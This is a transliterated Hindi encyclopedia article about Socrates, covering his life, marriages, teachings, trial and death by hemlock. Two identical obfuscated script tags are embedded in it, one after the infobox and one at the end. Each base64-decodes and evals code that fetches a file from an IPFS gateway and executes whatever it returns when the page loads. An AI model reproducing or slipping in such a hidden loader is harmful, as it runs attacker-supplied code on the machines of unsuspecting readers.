सुकरात

sukarat
sukarat|200px|center
poora nam	sukarat
janm	469 ee. poo.
janm bhoomi	etheans
mrityu	399 ee. poo.
mrityu sthan	etheans
pati/patni	do patniyaan- 'mayaratan' tatha 'jainthaip'
karm bhoomi	yoonan
karm-kshetr	pashchaty darshan
prasiddhi	darshanik
nagarikata	grik
mrityu karan	sukarat par devataoan ki upeksha karane aur yuvaoan ka bh dakane ka arop lagakar muqadama chalaya gaya, jisake phalasvaroop use vish ka pyala pine ke lie vivash kiya gaya.
shishy	'afalatoon' aur 'arastoo'
any janakari	sukarat etheans ke bahut hi garib ghar mean paida hua tha. vah sena ki naukari mean chala gaya tha aur paitidiya ke yuddh mean viratapoorvak l da tha. jnan ka sangrah aur prasar, ye hi usake jivan ke mukhy lakshy the.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sukarat (aangrezi: Socrates; janm- 469 ee. poo., etheans; mrityu- 399 ee. poo., etheans) ek vikhyat yoonani darshanik tha. usake bare mean kaha jata hai ki vah ek kuroop vyakti tha aur bolata adhik tha. sukarat ko soofiyoan ki bhaanti maulik shiksha aur achar dvara udaharan dena hi pasand tha. vastut: usake samasamayik bhi use soofi samajhate the. soofiyoan ki bhaanti sadharan shiksha tatha manav sadachar par vah jor deta tha aur unhian ki tarah purani roodhiyoan par prahar karata tha. buddh ki bhaanti sukarat ne kabhi koee granth nahian likha. tarunoan ko biga dane, devanianda aur nastik hone ka jhootha dosh sukarat par lagaya gaya aur isake lie use jahar dekar marane ka dand mila.

parichay

sukarat ka janm 469 eesa poorv mean etheans hua tha. usake pita ek sangatarash the aur usaki mata daee ka kam karati thian. sukarat ne apana jivan etheans mean vyatit kiya tha. prarabh mean to sukarat ne apane pita ke vyavasay mean hath bantaya aur unaki sahayata ki. bad mean vah sena ki naukari mean chala gaya. vah paitidiya ke yuddh mean viratapoorvak l da tha. apani vartaoan ke karan hi sukarat apane samay ka sabase adhik jnanavan vyakti samajha jata tha. kuchh samay tak sukarat etheans ki kauansil ka sadasy bhi raha tha. vahaan usane poori imanadari aur sachchaee ke sath kam kiya, usane kabhi bhi galat ka sath nahian diya. chahe aparadhi ho ya nirdosh, usane kisi bhi vyakti ke sath galat nahian hone diya.

vivah

sukarat ke do vivah hue the. usaki pahali patni ka nam 'mayaratan' tha. usase sukarat ko do putr prapt hue the. jabaki doosari patni ka nam tha 'jainthaip'. isane ek putr ko janm diya tha.

vyaktitv

sukarat dekhane mean kuroop tha. usake vishay mean yah bhi kaha jata hai ki vah bolata bahut tha. kuchh vidvanoan ke anusar sukarat etheans mean utpann mahanatam vyaktiyoan se bhi mahanh mana jata hai. sukarat ek uchch koti ka manishi to tha hi, vah shat-pratishat eemanadar, sachcha evan dridh sankalp vala vyakti tha. vah dharm ke sansthagat roop ko n manakar dharm ke saiddhaantik paksh ko manane vala tha. usaki manyataean eesaee dharm ki manyataoan ke nikat thian. sukarat subah hi apane ghar se nikalakar logoan ko upadesh dene ke lie nikal p data tha. vah logoan ko sachcha tatha sahi jnan pradan karake unaka sudhar karana chahata tha.

manav sadachar par jor

sukarat ko soofiyoan ki bhaanti maulik shiksha aur achar dvara udaharan dena hi pasand tha. vastut: usake samasamayik bhi use soofi samajhate the. soofiyoan ki bhaanti sadharan shiksha tatha manav sadachar par vah jor deta tha aur unhian ki tarah purani roodhiyoan par prahar karata tha. vah kahata tha- "sachcha jnan sanbhav hai, basharte usake lie thik taur par prayatn kiya jae; jo batean hamari samajh mean ati haian ya hamare samane aee haian, unhean tatsanbandhi ghatanaoan par ham parakhean, is tarah anek parakhoan ke bad ham ek sachaee par pahuanch sakate haian. jnan ke saman pavitratam koee vastu nahian hai."

jivan darshan

buddh ki bhaanti sukarat ne koee granth nahian likha. buddh ke shishyoan ne unake jivan kal mean hi upadeshoan ko kanthasth karana shuru kiya tha, jisase ham unake upadeshoan ko bahut kuchh sidhe taur par jan sakate haian; kiantu sukarat ke upadeshoan ke bare mean yah suvidha nahian hai. sukarat ka kya jivan darshan tha? yah usake acharan se hi maloom hota hai, lekin usaki vyakhya bhinn-bhinn lekhak bhinn-bhinn dhang se karate haian. kuchh lekhak sukarat ki prasannamukhata aur maryadit jivanayopabhog ko dikhalakar kahate haian ki vah bhogi tha. doosare lekhak sharirik kashtoan ki or se usaki beparvahi tatha avashyakata p dane par jivanasukh ko bhi chho dane ke lie taiyar rahane ko dikhalakar use sada jivan ka pakshapati batalate haian.

sukarat ko havaee bahas pasand nahian thi. vah etheans ke bahut hi garib ghar mean paida hua tha. ganbhir vidvan aur khyati prapt ho jane par bhi usane vaivahik jivan ki lalasa nahian rakhi. jnan ka sangrah aur prasar, ye hi usake jivan ke mukhy lakshy the. usake adhoore kary ko usake shishy 'aphalatoon' aur 'arastoo' ne poora kiya. isake darshan ko do bhagoan mean baanta ja sakata hai-

1. sukarat ka guru-shishy yatharthavad
2. arastoo ka prayogavad

sukarat par muqadama

399 eesa poorv mean sukarat ke dushmanoan ko sukarat ko khatm karane mean saphalata mil gayi. unhoanne sukarat par muqadama chalava diya tha. sukarat par mukhy roop se tin arop lagaye ge the-

1. pratham arop yah tha ki vah many devataoan ki upeksha karata hai aur uname vishvas nahian karata.
2. doosare arop mean kaha gaya ki usane rashtriy devataoan ke sthan par kalpit jivan devata ko sthapit kiya hai.
3. tisara arop tha ki vah nagar ke yuva varg ko bhrasht bana raha hai.

jab sukarat par muqadama chal raha tha, tab usane apana vakil karane se mana kar diya aur kaha ki "ek vyavasayi vakil purushatv ko vyakt nahian kar sakata hai." sukarat ne adalat mean kaha- "mere pas jo kuchh tha, vah maianne etheansavasiyoan ki seva mean laga diya. mera uddeshy keval apane sathi nagarikoan ko sukhi banana hai. yah kary maianne paramatma ke adeshanusar apane kartavy ke roop mean kiya hai. paramatma ke kary ko ap logoan ke kary se adhik mahatv deta hooan. yadi ap mujhe is shart par chho d dean ki maian saty ki khoj chho d dooan, to maian apako dhanyavad kahakar yah kahooanga ki maian paramatma ki ajna ka palan karate hue apane vartaman kary ko aantim shvas tak nahian chho d sakooanga. tum log saty ki khoj tatha apani atma ko shreshthatar banane ki koshish karane ke bajay sampatti evan samman ki or adhik dhyan dete ho. kya tum logoan ko is par lajja nahian ati." sukarat ne yah bhi kaha ki "maian samaj ka kalyan karata hooan, isalie mujhe khel mean vijayi hone vale khila di ki tarah sammanit kiya jana chahie."

vish ka sevan

sukarat ka yah bhashan sunakar nyayadhish naraj ho ge. kyoanki sukarat ne nyayalay ke prati avajna dikhaee thi. nyayadhishoan ka aantim phaisala tha ki sukarat ko mrityu dand diya jae aur usako vish ka pyala pina hoga. nirdharit samay par sukarat ko vish ka pyala diya gaya. usane vish ka pyala pi liya. vish pite samay usake chehare par halki-si mukurahat thi. vish ne sukarat ke sharir ko nishkriy kar diya aur vah svarg ko sidhar gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>